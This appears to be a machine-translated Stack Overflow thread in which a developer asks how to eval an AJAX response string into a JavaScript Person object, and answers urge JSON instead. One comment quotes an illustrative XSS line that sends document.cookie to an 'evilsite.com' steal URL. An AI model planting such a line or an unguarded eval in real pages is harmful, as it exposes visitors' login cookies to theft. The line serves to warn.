2010-10-19 80 views
0

這裏的問題是字符串:評估字符串對象(JavaScript)的

$.ajax(...... 
    ,success:function(msg){ 
     var obj = eval('['+msg.d+']'); 
    }, 
    .... 
} 

msg.d包含如下:

new Person(2, 'Name Surname','This is just string came from Par'is at Sat'urday'); 

如何傳遞的JavaScript的問題?

+1

'eval()'是'EVIL'。 'eval()'會評估字符串中的所有內容,無論它是否好用,這取決於你提供的人員數據來自哪裏,你最終可能會遇到一個很大的安全問題。如果用戶設法像''new s Image ='src ='http://evilsite.com/steal?c='+ document.cookie''這樣的名字偷偷摸摸地進入你的數據庫,你的頁面仍然可以完美運行很好,只有兩件事情會有所不同1.姓氏將是空的,2.訪問者的登錄cookie將被盜用。請查看JSON,以便您可以安全地將數據傳遞給客戶端,而不會有eval的風險 – 2010-10-19 15:09:56

+0

Ajax調用不會假設服務器端腳本返回的數據類型,因此msg只是一個字符串,而字符串不會'沒有'd'屬性。 – dvhh 2010-10-20 04:33:37

回答

1

在這種情況下使用eval是非常危險的。你真的應該使用XML或JSON。 (這就是爲什麼他們稱之爲AJAX的原因。)

+2

要明確,AJAX中的J適用於JavaScript,而不適用於JSON ...並且字符串適用於該類別。 – 2010-10-19 14:08:19

+0

@Nick,我指的是X.而J並沒有提到通過eval使用Javascript代碼作爲通信媒介。 – 2010-10-19 14:09:45

+1

@Eric - JSON不提供傳遞可執行函數的方法,那麼它會直接在這裏解決什麼? – 2010-10-19 14:11:03

5

如果字符串的確如您所引用的那樣,它有一個語法錯誤並且不起作用(它在單詞「Saturday」中有一個錯誤的')。否則,儘管你eval呼叫改變括號([])圓括號(()):

var obj = eval('('+msg.d+')'); 

但是,應該幾乎從來沒有真正需要做到這一點(或者實際上在使用eval所有)。幾乎總是有可能,並且希望稍微重構並避免它。

如果這是您的代碼的文字引用,另請參閱dvhh's answer below,您的函數參數名稱(msg.d)無效。

0

我會避免使用eval()出於安全原因。如果用戶可以將惡意代碼加入到數據庫中,那麼這個eval表達式就有可能最終出現,對任何訪問此頁面的人都會造成嚴重破壞。

而不是使用eval,我建議從AJAX請求返回JSON。然後,您可以輕鬆解析這些值並使用該數據構建一個新的Person對象。

1

功能參數應該是一個有效的JavaScript標識

嘗試改變msg.d到msg_d例如

+0

好吧,發現... – 2010-10-19 14:12:19

1

您可能需要逃避你的字符串,因爲這個例子正常工作:

function MyObject(myvar){ 
    this.hello = function(){ 
     alert('myvar= ' + myvar); 
    }; 
} 

var obj1 = new MyObject('hello'); 
obj1.hello(); 

var obj2 = eval("new MyObject('world')"); 
obj2.hello(); 

(編輯:順便說一句,我認爲msg.d是由於在發佈StackOverflow之前編輯snipplet而造成的錯字?)

+0

如果你有控制服務器端,我會建議使用JSON(或XML,但它稍微慢一點),這使事情更易於維護和使用(我假設你使用jQuery由於$ .ajax),只需將「dataType」字段更改爲「json」,即可在成功處理程序中直接獲得一個很好的結構)。 – wildpeaks 2010-10-19 14:18:56